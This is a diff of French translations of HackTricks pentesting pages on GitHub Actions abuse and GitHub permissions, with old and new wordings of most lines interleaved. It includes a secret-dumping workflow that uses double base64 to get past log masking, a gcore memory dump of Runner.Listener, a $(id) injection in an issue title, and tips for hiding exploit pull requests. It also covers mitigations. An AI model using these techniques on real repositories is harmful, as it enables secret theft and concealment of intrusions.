- For a **custom action**, le risque peut varier selon la façon dont un programme utilise le secret qu'il a obtenu depuis l'**argument**:
- Pour une **custom action**, le risque peut varier selon la manière dont un programme utilise le secret qu'il a obtenu depuis l'**argument** :
```yaml
uses: fakeaction/publish@v3
@@ -542,7 +541,7 @@ with:
key: ${{ secrets.PUBLISH_KEY }}
```
- Énumérez tous les secrets via le secrets context (collaborator level). Un contributeur avec write access peut modifier un workflow sur n'importe quelle branche pour dumper tous les repository/org/environment secrets. Utilisez double base64 pour contourner le masquage des logs de GitHub et décoder localement:
- Énumérer tous les secrets via le secrets context (niveau collaborator). Un contributeur avec accès en écriture peut modifier un workflow sur n'importe quelle branche pour dumper tous les secrets du repository/org/environment. Utilisez un double base64 pour échapper au masquage des logs de GitHub et décodez localement :
```yaml
name: Steal secrets
@@ -558,31 +557,31 @@ run: |
echo '${{ toJson(secrets) }}' | base64 -w0 | base64 -w0
```
Decode locally:
Décoder localement :
```bash
echo "ZXdv...Zz09" | base64 -d | base64 -d
```
Tip: for stealth during testing, encrypt before printing (openssl is preinstalled on GitHub-hosted runners).
Astuce : pour rester discret pendant les tests, cryptez avant d'afficher (openssl est préinstallé sur les GitHub-hosted runners).
### Abusing Self-hosted runners
The way to find which **Github Actions are being executed in non-github infrastructure** is to search for **`runs-on: self-hosted`** in the Github Action configuration yaml.
La manière de trouver quelles **Github Actions sont exécutées dans une infrastructure non-github** est de rechercher **`runs-on: self-hosted`** dans le YAML de configuration de la Github Action.
**Self-hosted** runners might have access to **extra sensitive information**, to other **network systems** (vulnerable endpoints in the network? metadata service?) or, even if it's isolated and destroyed, **more than one action might be run at the same time** and the malicious one could **voler les secrets** of the other one.
**Self-hosted** runners pourraient avoir accès à des **informations supplémentaires sensibles**, à d'autres **systèmes réseau** (endpoints vulnérables dans le réseau ? metadata service ?) ou, même s'il est isolé et détruit, **plus d'une action pourrait s'exécuter en même temps** et celle malveillante pourrait **voler les secrets** de l'autre.
In self-hosted runners it's also possible to obtain the **secrets from the \_Runner.Listener**\_\*\* process\*\* which will contain all the secrets of the workflows at any step by dumping its memory:
Dans les self-hosted runners il est aussi possible d'obtenir les **secrets from the \_Runner.Listener\_\*\* process\*\*** qui contiendra tous les secrets des workflows à n'importe quelle étape en vidant sa mémoire :
```bash
sudo apt-get install -y gdb
sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')"
```
Check [**this post for more information**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/).
Consultez [**this post for more information**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/).
### Registre d'images Docker Github
Il est possible de créer des Github actions qui vont **construire et stocker une Docker image à l'intérieur de Github**.\
Un exemple se trouve dans l'élément extensible suivant :
Il est possible de créer des Github Actions qui vont **build and store a Docker image inside Github**.\
Un exemple se trouve dans l'élément dépliable suivant :
<details>
@@ -617,14 +616,14 @@ ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ e
```
</details>
Comme vous pouvez le voir dans le code précédent, le registre Github est hébergé sur **`ghcr.io`**.
Comme vous pouvez le voir dans le code précédent, le Github registry est hébergé en **`ghcr.io`**.
Un utilisateur avec des permissions de lecture sur le repo pourra alors télécharger la Docker Image en utilisant un personal access token:
Un utilisateur avec read permissions sur le repo pourra alors télécharger le Docker Image en utilisant un personal access token :
```bash
echo $gh_token | docker login ghcr.io -u <username> --password-stdin
docker pull ghcr.io/<org-name>/<repo_name>:<tag>
```
Ensuite, l'utilisateur pourrait rechercher **leaked secrets in the Docker image layers:**
Then, the user could search for **leaked secrets in the Docker image layers:**
{{#ref}}
https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html
@@ -632,16 +631,16 @@ https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forens
### Informations sensibles dans les logs de Github Actions
Même si **Github** tente de **détecter des valeurs secrètes** dans les logs des actions et **éviter de les afficher**, **d'autres données sensibles** qui auraient pu être générées lors de l'exécution de l'action ne seront pas masquées. Par exemple, un JWT signé avec une valeur secrète ne sera pas masqué à moins qu'il ne soit [spécifiquement configuré](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret).
Même si **Github** essaie de **détecter des valeurs secrètes** dans les logs des actions et **éviter de les afficher**, **d'autres données sensibles** qui pourraient avoir été générées lors de l'exécution de l'action ne seront pas masquées. Par exemple, un JWT signé avec une valeur secrète ne sera pas masqué à moins qu'il ne soit [spécifiquement configuré](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret).
## Couvrir vos traces
## Cacher vos traces
(Technique from [**here**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) Tout d'abord, toute PR créée est clairement visible du public sur Github et sur le compte GitHub ciblé. Par défaut, dans GitHub, nous **ne pouvons pas supprimer une PR d'internet**, mais il y a une astuce. Pour les comptes Github qui sont **suspendus** par Github, toutes leurs **PRs sont automatiquement supprimées** et retirées d'internet. Donc, pour cacher votre activité vous devez soit faire suspendre votre **compte GitHub** ou faire signaler votre compte. Cela **cacherait toutes vos activités** sur GitHub d'internet (supprimerait essentiellement tous vos exploit PR)
(Technique from [**here**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) Tout d'abord, toute PR créée est clairement visible publiquement sur Github et par le compte GitHub ciblé. In GitHub by default, we **cant delete a PR of the internet**, but there is a twist. For Github accounts that are **suspended** by Github, all of their **PRs are automatically deleted** and removed from the internet. So in order to hide your activity you need to either get your **GitHub account suspended or get your account flagged**. This would **hide all your activities** on GitHub from the internet (basically remove all your exploit PR)
Une organisation sur GitHub est très proactive pour signaler des comptes à GitHub. Tout ce que vous avez à faire est de partager “some stuff” dans un Issue et ils s'assureront que votre compte soit suspendu en 12 heures :p et voilà, votre exploit rendu invisible sur github.
An organization in GitHub is very proactive in reporting accounts to GitHub. All you need to do is share “some stuff” in Issue and they will make sure your account is suspended in 12 hours :p and there you have, made your exploit invisible on github.
> [!WARNING]
> La seule façon pour une organisation de déterminer qu'elle a été ciblée est de vérifier les logs GitHub depuis le SIEM, car depuis l'UI de GitHub la PR serait supprimée.
> Le seul moyen pour une organisation de se rendre compte qu'elle a été ciblée est de vérifier les logs GitHub depuis le SIEM car depuis l'UI GitHub la PR serait supprimée.
## Références

View File

@@ -4,18 +4,18 @@
## Comprendre le risque
GitHub Actions renders expressions ${{ ... }} before the step executes. The rendered value is pasted into the steps program (for run steps, a shell script). If you interpolate untrusted input directly inside run:, the attacker controls part of the shell program and can execute arbitrary commands.
GitHub Actions évalue les expressions ${{ ... }} avant que l'étape n'exécute. La valeur évaluée est insérée dans le programme de l'étape (pour les étapes run, un script shell). Si vous interpolez des entrées non fiables directement dans run:, l'attaquant contrôle une partie du script shell et peut exécuter des commandes arbitraires.
Docs: https://docs.github.com/en/actions/writing-workflows/workflow-syntax-for-github-actions and contexts/functions: https://docs.github.com/en/actions/learn-github-actions/contexts
Points clés :
- Le rendu a lieu avant l'exécution. Le script fourni dans run: est généré avec toutes les expressions résolues, puis exécuté par le shell.
- De nombreux contexts contiennent des champs contrôlés par l'utilisateur selon l'événement déclencheur (issues, PRs, comments, discussions, forks, stars, etc.). Consultez la référence sur les untrusted input : https://securitylab.github.com/resources/github-actions-untrusted-input/
- L'échappement des quotes dans run: n'est pas une défense fiable, car l'injection se produit au stade de rendu du template. Les attaquants peuvent sortir des quotes ou injecter des opérateurs via des entrées spécialement conçues.
- L'évaluation a lieu avant l'exécution. Le script run est généré avec toutes les expressions résolues, puis exécuté par le shell.
- De nombreux contexts contiennent des champs contrôlés par l'utilisateur selon l'événement déclencheur (issues, PRs, comments, discussions, forks, stars, etc.). Voir la référence sur les entrées non fiables : https://securitylab.github.com/resources/github-actions-untrusted-input/
- Le quoting du shell à l'intérieur de run: n'est pas une défense fiable, car l'injection se produit lors de l'étape de rendu du template. Les attaquants peuvent sortir des guillemets ou injecter des opérateurs via des entrées spécialement conçues.
## Modèle vulnérable → RCE on runner
Workflow vulnérable (déclenché quand quelqu'un ouvre une nouvelle issue):
Workflow vulnérable (déclenché lorsqu'une personne ouvre une nouvelle issue):
```yaml
name: New Issue Created
on:
@@ -36,7 +36,7 @@ with:
github_token: ${{ secrets.GITHUB_TOKEN }}
labels: new
```
Si un attaquant ouvre une issue intitulée $(id), l'étape rendue devient :
Si un attaquant ouvre un issue avec le titre $(id), l'étape rendue devient :
```sh
echo "New issue $(id) created"
```
@@ -44,12 +44,13 @@ La substitution de commande exécute id sur le runner. Exemple de sortie :
```
New issue uid=1001(runner) gid=118(docker) groups=118(docker),4(adm),100(users),999(systemd-journal) created
```
Pourquoi les guillemets ne vous sauvent pas :
- Les expressions sont évaluées d'abord, puis le script résultant s'exécute. Si la valeur non fiable contient $(...), `;`, `"`/`'`, ou des sauts de ligne, elle peut altérer la structure du programme malgré vos guillemets.
Pourquoi les guillemets ne suffisent pas :
## Schéma sûr (variables shell via env)
- Les expressions sont évaluées en premier, puis le script résultant s'exécute. Si la valeur non fiable contient $(...), `;`, `"`/`'`, ou des retours à la ligne, elle peut modifier la structure du programme malgré vos guillemets.
Atténuation correcte : copiez l'entrée non fiable dans une variable d'environnement, puis utilisez l'expansion shell native ($VAR) dans le script d'exécution. Ne la réinsérez pas avec ${{ ... }} à l'intérieur de la commande.
## Modèle sûr (shell variables via env)
Mitigation correcte : copiez l'entrée non fiable dans une variable d'environnement, puis utilisez l'expansion native du shell ($VAR) dans le script d'exécution. Ne la réinjectez pas avec ${{ ... }} dans la commande.
```yaml
# safe
jobs:
@@ -63,28 +64,28 @@ run: |
echo "New issue $TITLE created"
```
Remarques:
- Évitez d'utiliser ${{ env.TITLE }} dans run:. Cela réintroduit le rendu de template dans la commande et entraîne le même risque d'injection.
- Préférez passer les entrées non fiables via le mapping env: et les référencer avec $VAR dans run:.
- Évitez d'utiliser ${{ env.TITLE }} dans run:. Cela réintroduit le rendu du template dans la commande et entraîne le même risque d'injection.
- Privilégiez le passage d'entrées non fiables via le mapping env: et référencez-les avec $VAR dans run:.
## Surfaces déclenchables par des lecteurs (à traiter comme non fiables)
## Surfaces déclenchables par un lecteur (à traiter comme non fiables)
Les comptes avec uniquement la permission de lecture sur des dépôts publics peuvent quand même déclencher de nombreux événements. Tout champ dans des contextes dérivés de ces événements doit être considéré comme contrôlé par un attaquant sauf preuve du contraire. Exemples:
Les comptes avec seulement la permission de lecture sur les dépôts publics peuvent quand même déclencher de nombreux événements. Tout champ des contextes dérivés de ces événements doit être considéré comme contrôlé par un attaquant sauf preuve du contraire. Exemples:
- issues, issue_comment
- discussion, discussion_comment (orgs can restrict discussions)
- discussion, discussion_comment (les organisations peuvent restreindre les discussions)
- pull_request, pull_request_review, pull_request_review_comment
- pull_request_target (dangerous if misused, runs in base repo context)
- fork (anyone can fork public repos)
- watch (starring a repo)
- Indirectly via workflow_run/workflow_call chains
- pull_request_target (dangereux s'il est mal utilisé, s'exécute dans le contexte du dépôt de base)
- fork (n'importe qui peut forker des dépôts publics)
- watch (le fait d'ajouter une étoile à un dépôt)
- Indirectement via des chaînes workflow_run/workflow_call
Les champs précis qui sont contrôlés par un attaquant dépendent de l'événement. Consultez le guide sur les entrées non fiables de GitHub Security Lab : https://securitylab.github.com/resources/github-actions-untrusted-input/
Les champs spécifiques contrôlés par un attaquant dépendent de l'événement. Consultez le guide de GitHub Security Lab sur les entrées non fiables : https://securitylab.github.com/resources/github-actions-untrusted-input/
## Conseils pratiques
- Minimisez l'utilisation d'expressions dans run:. Préférez le mapping env: + $VAR.
- Minimisez l'utilisation d'expressions dans run:. Privilégiez le mapping env: + $VAR.
- Si vous devez transformer une entrée, faites-le dans le shell en utilisant des outils sûrs (printf %q, jq -r, etc.), en partant toujours d'une variable shell.
- Soyez particulièrement prudent lorsque vous interpolez des noms de branches, des titres de PR, des noms d'utilisateur, des labels, des titres de discussion et des PR head refs dans des scripts, des options en ligne de commande ou des chemins de fichiers.
- Pour reusable workflows et composite actions, appliquez le même schéma : mappez vers env puis référencez $VAR.
- Soyez particulièrement prudent lors de l'interpolation de branch names, PR titles, usernames, labels, discussion titles et PR head refs dans des scripts, des options en ligne de commande ou des chemins de fichiers.
- Pour les reusable workflows et composite actions, appliquez le même schéma : mappez vers env puis référencez $VAR.
## Références

View File

@@ -1,156 +1,156 @@
# Informations de base sur Github
# Informations de base GitHub
{{#include ../../banners/hacktricks-training.md}}
## Structure de base
La structure de l'environnement Github d'une grande **entreprise** consiste à posséder une **Enterprise** qui possède **plusieurs organizations** et chacune d'elles peut contenir **plusieurs repositories** et **plusieurs teams.**. Les petites entreprises peuvent simplement **posséder une organization et pas d'Enterprise**.
La structure de base de l'environnement GitHub d'une grande **company** est de posséder un **enterprise** qui possède **several organizations** et chacune d'elles peut contenir **several repositories** et **several teams.** Les entreprises plus petites peuvent simplement **own one organization and no enterprises**.
Du point de vue d'un utilisateur, un **user** peut être **membre** de **différentes Enterprises et organizations**. Au sein de celles-ci, l'utilisateur peut avoir **différents rôles au niveau Enterprise, organization et repository**.
Du point de vue d'un utilisateur, un **user** peut être **member** de **different enterprises and organizations**. Au sein de celles-ci, l'utilisateur peut avoir **different enterprise, organization and repository roles**.
De plus, un utilisateur peut faire **partie de différentes teams** avec différents rôles au niveau Enterprise, organization ou repository.
De plus, un utilisateur peut faire **part of different teams** avec différents rôles au niveau enterprise, organization ou repository.
Et enfin, **les repositories peuvent avoir des mécanismes de protection spéciaux**.
Et enfin, **repositories may have special protection mechanisms**.
## Privilèges
### Rôles Enterprise
### Enterprise Roles
- **Enterprise owner** : Les personnes avec ce rôle peuvent **gérer les administrateurs, gérer les organizations au sein de l'Enterprise, gérer les paramètres de l'Enterprise, appliquer des politiques à travers les organizations**. Cependant, ils **ne peuvent pas accéder aux paramètres ou au contenu d'une organization** à moins d'être nommés organization owner ou d'avoir un accès direct à un repository appartenant à l'organization.
- **Enterprise members** : Les membres des organizations appartenant à votre Enterprise sont **également automatiquement membres de l'Enterprise**.
- **Enterprise owner** : Les personnes ayant ce rôle peuvent **manage administrators, manage organizations within the enterprise, manage enterprise settings, enforce policy across organizations**. Cependant, elles **cannot access organization settings or content** sauf si elles sont nommées owner d'une organisation ou reçoivent un accès direct à un repository appartenant à l'organisation.
- **Enterprise members** : Les membres des organizations détenues par votre enterprise sont **automatically members of the enterprise**.
### Rôles d'organisation
### Organization Roles
Dans une organization, les utilisateurs peuvent avoir différents rôles :
Dans une organisation, les utilisateurs peuvent avoir différents rôles :
- **Organization owners** : Les organization owners ont **un accès administratif complet à votre organization**. Ce rôle doit être limité, mais à pas moins de deux personnes dans votre organization.
- **Organization members** : Le rôle **par défaut**, non administratif, pour les **personnes dans une organization** est organization member. Par défaut, les organization members **ont un certain nombre d'autorisations**.
- **Billing managers** : Les billing managers sont des utilisateurs qui peuvent **gérer les paramètres de facturation de votre organization**, comme les informations de paiement.
- **Security Managers** : C'est un rôle que les organization owners peuvent assigner à n'importe quelle team dans une organization. Lorsqu'il est appliqué, il donne à chaque membre de la team les permissions pour **gérer les security alerts et les paramètres à travers votre organization, ainsi que des permissions en lecture pour tous les repositories** de l'organization.
- Si votre organization a une security team, vous pouvez utiliser le rôle security manager pour donner aux membres de la team le minimum d'accès dont ils ont besoin à l'organization.
- **Github App managers** : Pour permettre à des utilisateurs supplémentaires de **gérer les GitHub Apps appartenant à une organization**, un owner peut leur accorder les permissions de Github App manager.
- **Outside collaborators** : Un outside collaborator est une personne qui a **accès à un ou plusieurs repositories de l'organization mais qui n'est pas explicitement membre** de l'organization.
- **Organization owners** : Les organization owners ont **complete administrative access to your organization**. Ce rôle doit être limité, mais à pas moins de deux personnes dans votre organisation.
- **Organization members** : Le rôle **default**, non-administratif pour les **people in an organization** est organization member. Par défaut, les organization members **have a number of permissions**.
- **Billing managers** : Les billing managers sont des utilisateurs qui peuvent **manage the billing settings for your organization**, comme les informations de paiement.
- **Security Managers** : C'est un rôle que les organization owners peuvent assigner à n'importe quelle équipe dans une organisation. Lorsqu'il est appliqué, il donne à chaque membre de l'équipe les permissions pour **manage security alerts and settings across your organization, as well as read permissions for all repositories** dans l'organisation.
- Si votre organisation dispose d'une équipe de sécurité, vous pouvez utiliser le rôle security manager pour donner aux membres de l'équipe le minimum d'accès nécessaire à l'organisation.
- **Github App managers** : Pour permettre à des utilisateurs supplémentaires de **manage GitHub Apps owned by an organization**, un owner peut leur accorder des permissions de GitHub App manager.
- **Outside collaborators** : Un outside collaborator est une personne qui a **access to one or more organization repositories but is not explicitly a member** de l'organisation.
Vous pouvez **comparer les permissions** de ces rôles dans ce tableau : [https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles](https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles)
Vous pouvez **compare the permissions** de ces rôles dans ce tableau : [https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles](https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles)
### Privilèges des membres
### Members Privileges
Dans _https://github.com/organizations/\<org_name>/settings/member_privileges_ vous pouvez voir les **permissions que les utilisateurs auront simplement en faisant partie de l'organisation**.
Dans _https://github.com/organizations/\<org_name>/settings/member_privileges_ vous pouvez voir les **permissions users will have just for being part of the organisation**.
Les paramètres configurés ici indiqueront les permissions suivantes des membres de l'organisation :
- Avoir admin, writer, reader ou aucune permission sur tous les repositories de l'organisation.
- Être admin, writer, reader ou n'avoir aucune permission sur tous les repos de l'organisation.
- Si les membres peuvent créer des repositories private, internal ou public.
- Si le fork des repositories est possible.
- Si il est possible d'inviter des outside collaborators.
- Si des sites publics ou privés peuvent être publiés.
- Si le forking des repositories est possible.
- Si l'invitation d'outside collaborators est possible.
- Si des sites public ou private peuvent être publiés.
- Les permissions que les admins ont sur les repositories.
- Si les membres peuvent créer de nouvelles teams.
### Rôles de repository
### Repository Roles
Par défaut, des rôles de repository sont créés :
Par défaut les repository roles sont créés :
- **Read** : Recommandé pour les **contributors non axés code** qui veulent afficher ou discuter de votre projet.
- **Triage** : Recommandé pour les **contributors qui ont besoin de gérer de manière proactive les issues et pull requests** sans accès en écriture.
- **Write** : Recommandé pour les contributors qui **poussent activement vers votre projet**.
- **Maintain** : Recommandé pour les **chefs de projet qui ont besoin de gérer le repository** sans accès aux actions sensibles ou destructrices.
- **Admin** : Recommandé pour les personnes qui ont **un accès complet au projet**, y compris les actions sensibles et destructrices comme la gestion de la sécurité ou la suppression d'un repository.
- **Read** : Recommandé pour les **non-code contributors** qui veulent voir ou discuter votre projet.
- **Triage** : Recommandé pour les **contributors who need to proactively manage issues and pull requests** sans accès en écriture.
- **Write** : Recommandé pour les contributors qui **actively push to your project**.
- **Maintain** : Recommandé pour les **project managers who need to manage the repository** sans accès à des actions sensibles ou destructrices.
- **Admin** : Recommandé pour les personnes qui ont **full access to the project**, y compris les actions sensibles et destructrices comme gérer la sécurité ou supprimer un repository.
Vous pouvez **comparer les permissions** de chaque rôle dans ce tableau [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role)
Vous pouvez **compare the permissions** de chaque rôle dans ce tableau [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role)
Vous pouvez aussi **créer vos propres rôles** dans _https://github.com/organizations/\<org_name>/settings/roles_
Vous pouvez aussi **create your own roles** dans _https://github.com/organizations/\<org_name>/settings/roles_
### Teams
Vous pouvez **lister les teams créées dans une organization** dans _https://github.com/orgs/\<org_name>/teams_. Notez que pour voir les teams qui sont des enfants d'autres teams, vous devez accéder à chaque team parente.
Vous pouvez **list the teams created in an organization** dans _https://github.com/orgs/\<org_name>/teams_. Notez que pour voir les teams qui sont enfants d'autres teams, vous devez accéder à chaque parent team.
### Utilisateurs
### Users
Les utilisateurs d'une organization peuvent être **listés** dans _https://github.com/orgs/\<org_name>/people._
Les users d'une organisation peuvent être **listed** dans _https://github.com/orgs/\<org_name>/people._
Dans les informations de chaque utilisateur, vous pouvez voir les **teams dont l'utilisateur est membre**, et les **repos auxquels l'utilisateur a accès**.
Dans les informations de chaque user, vous pouvez voir les **teams the user is member of**, et les **repos the user has access to**.
## Authentification Github
## Github Authentication
Github offre différentes façons de s'authentifier sur votre compte et d'effectuer des actions en votre nom.
GitHub propose différentes façons de s'authentifier sur votre compte et d'effectuer des actions en votre nom.
### Accès Web
### Web Access
En accédant à **github.com**, vous pouvez vous connecter en utilisant votre **username et password** (et un **2FA potentiellement**).
En accédant à **github.com** vous pouvez vous connecter en utilisant votre **username and password** (et potentiellement un **2FA**).
### SSH Keys
### **SSH Keys**
Vous pouvez configurer votre compte avec une ou plusieurs clés publiques permettant à la **clé privée associée d'effectuer des actions en votre nom.** [https://github.com/settings/keys](https://github.com/settings/keys)
Vous pouvez configurer votre compte avec une ou plusieurs clés publiques permettant à la **private key associée d'effectuer des actions en votre nom.** [https://github.com/settings/keys](https://github.com/settings/keys)
#### GPG Keys
#### **GPG Keys**
Vous **ne pouvez pas usurper l'identité de l'utilisateur avec ces clés**, mais si vous ne les utilisez pas, il peut être possible que vous **soyez détecté pour l'envoi de commits sans signature**. En savoir plus sur le [vigilant mode here](https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode).
Vous **cannot impersonate the user with these keys** mais si vous ne les utilisez pas il peut être possible que vous **get discover for sending commits without a signature**. En savoir plus sur le [vigilant mode ici](https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode).
### Personal Access Tokens
### **Personal Access Tokens**
Vous pouvez générer des personal access token pour **donner à une application l'accès à votre compte**. Lors de la création d'un personal access token, l'**user** doit **spécifier** les **permissions** que le **token** aura. [https://github.com/settings/tokens](https://github.com/settings/tokens)
Vous pouvez générer des personal access token pour **donner à une application l'accès à votre compte**. Lors de la création d'un personal access token, l'**user** doit **specify** les **permissions** que le **token** aura. [https://github.com/settings/tokens](https://github.com/settings/tokens)
### Oauth Applications
Les Oauth applications peuvent vous demander des permissions **pour accéder à une partie de vos informations GitHub ou pour vous impersonner** afin d'effectuer certaines actions. Un exemple courant de cette fonctionnalité est le bouton **login with github** que vous pouvez trouver sur certaines plateformes.
Les Oauth applications peuvent vous demander des permissions **to access part of your github information or to impersonate you** pour effectuer certaines actions. Un exemple courant de cette fonctionnalité est le bouton **login with github** que vous pouvez trouver sur certaines plateformes.
- Vous pouvez **créer** vos propres **Oauth applications** dans [https://github.com/settings/developers](https://github.com/settings/developers)
- Vous pouvez voir toutes les **Oauth applications qui ont accès à votre compte** dans [https://github.com/settings/applications](https://github.com/settings/applications)
- Vous pouvez voir les **scopes que les Oauth Apps peuvent demander** dans [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps)
- Vous pouvez voir l'accès tiers des applications dans une **organization** dans _https://github.com/organizations/\<org_name>/settings/oauth_application_policy_
- Vous pouvez **create** vos propres **Oauth applications** sur [https://github.com/settings/developers](https://github.com/settings/developers)
- Vous pouvez voir toutes les **Oauth applications that has access to your account** sur [https://github.com/settings/applications](https://github.com/settings/applications)
- Vous pouvez voir les **scopes that Oauth Apps can ask for** sur [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps)
- Vous pouvez voir l'accès tiers des applications dans une **organization** sur _https://github.com/organizations/\<org_name>/settings/oauth_application_policy_
Quelques **recommandations de sécurité** :
- Une **OAuth App** devrait toujours **agir en tant qu'utilisateur GitHub authentifié sur l'ensemble de GitHub** (par exemple, lors de l'envoi de notifications utilisateur) et n'avoir accès qu'aux scopes spécifiés.
- Une **OAuth App** devrait toujours **act as the authenticated GitHub user across all of GitHub** (par exemple, pour fournir des notifications utilisateur) et n'avoir accès qu'aux scopes spécifiés.
- Une OAuth App peut être utilisée comme fournisseur d'identité en activant un "Login with GitHub" pour l'utilisateur authentifié.
- **Ne pas** créer une **OAuth App** si vous voulez que votre application agisse sur **un seul repository**. Avec le scope `repo`, les OAuth Apps peuvent **agir sur _tous_ les repositories** de l'utilisateur authentifié.
- **Ne pas** créer une OAuth App pour agir comme application pour votre **équipe ou entreprise**. Les OAuth Apps s'authentifient comme **un seul utilisateur**, donc si une personne crée une OAuth App pour qu'une entreprise l'utilise, et qu'elle quitte l'entreprise, personne d'autre n'aura accès à cette app.
- **Plus** d'informations [ici](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps).
- **Don't** construire une **OAuth App** si vous voulez que votre application agisse sur un **single repository**. Avec le scope `repo`, les OAuth Apps peuvent **act on \_all**\_\*\* of the authenticated user's repositorie\*\*s.
- **Don't** construire une OAuth App pour agir en tant qu'application pour votre **team or company**. Les OAuth Apps s'authentifient en tant que **single user**, donc si une personne crée une OAuth App pour que la société l'utilise, et qu'elle quitte la société, personne d'autre n'y aura accès.
- **More** ici : [https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps).
### Github Applications
Les Github applications peuvent demander des permissions pour **accéder à vos informations github ou vous impersonner** afin d'effectuer des actions spécifiques sur des ressources spécifiques. Pour les Github Apps, vous devez spécifier les repositories auxquels l'app aura accès.
Les Github applications peuvent demander des permissions pour **access your github information or impersonate you** afin d'effectuer des actions spécifiques sur des ressources spécifiques. Dans les Github Apps, vous devez spécifier les repositories auxquels l'app aura accès.
- Pour installer une GitHub App, vous devez être **organisation owner ou avoir des permissions admin** dans un repository.
- La GitHub App devrait **se connecter à un compte personnel ou à une organisation**.
- Vous pouvez créer votre propre Github application dans [https://github.com/settings/apps](https://github.com/settings/apps)
- Vous pouvez voir toutes les **Github applications qui ont accès à votre compte** dans [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations)
- Voici les **endpoints API pour les Github Applications** [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps). Selon les permissions de l'App, elle pourra accéder à certains d'entre eux.
- Vous pouvez voir les apps installées dans une **organization** dans _https://github.com/organizations/\<org_name>/settings/installations_
- Pour installer un GitHub App, vous devez être **organisation owner or have admin permissions** dans un repository.
- Le GitHub App devrait **connect to a personal account or an organisation**.
- Vous pouvez créer votre propre Github application sur [https://github.com/settings/apps](https://github.com/settings/apps)
- Vous pouvez voir toutes les **Github applications that has access to your account** sur [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations)
- Voici les **API Endpoints for Github Applications** [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps). Selon les permissions de l'App, elle pourra accéder à certains d'entre eux.
- Vous pouvez voir les apps installées dans une **organization** sur _https://github.com/organizations/\<org_name>/settings/installations_
Quelques recommandations de sécurité :
- Une GitHub App devrait **prendre des actions indépendamment d'un utilisateur** (à moins que l'app n'utilise un token [user-to-server](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests)). Pour rendre les access tokens user-to-server plus sécurisés, vous pouvez utiliser des access tokens qui expireront après 8 heures, et un refresh token qui peut être échangé contre un nouvel access token. Pour plus d'informations, voir "Refreshing user-to-server access tokens".
- Assurez-vous que la GitHub App s'intègre avec des **repositories spécifiques**.
- La GitHub App devrait **se connecter à un compte personnel ou à une organisation**.
- N'attendez pas d'une GitHub App qu'elle sache et fasse tout ce qu'un utilisateur peut faire.
- **N'utilisez pas** une GitHub App si vous avez simplement besoin d'un service "Login with GitHub". Mais une GitHub App peut utiliser un [user identification flow](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) pour connecter les utilisateurs _et_ faire d'autres choses.
- Ne créez pas une GitHub App si vous voulez **uniquement** agir en tant qu'utilisateur GitHub et faire tout ce que cet utilisateur peut faire.
- Si vous utilisez votre app avec GitHub Actions et souhaitez modifier des fichiers workflow, vous devez vous authentifier au nom de l'utilisateur avec un OAuth token qui inclut le scope `workflow`. L'utilisateur doit avoir la permission admin ou write sur le repository qui contient le fichier de workflow. Pour plus d'informations, voir "Understanding scopes for OAuth apps".
- **Plus** d'informations [ici](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps).
- Un GitHub App devrait **take actions independent of a user** (sauf si l'app utilise un [user-to-server](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests) token). Pour sécuriser davantage les access tokens user-to-server, vous pouvez utiliser des access tokens qui expirent après 8 heures, et un refresh token qui peut être échangé contre un nouvel access token. Pour plus d'informations, voir "Refreshing user-to-server access tokens".
- Assurez-vous que le GitHub App s'intègre avec **specific repositories**.
- Le GitHub App devrait **connect to a personal account or an organisation**.
- N'attendez pas du GitHub App qu'il sache et fasse tout ce qu'un user peut faire.
- **Don't use a GitHub App if you just need a "Login with GitHub" service**. Mais un GitHub App peut utiliser un [user identification flow](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) pour connecter les users _and_ faire d'autres choses.
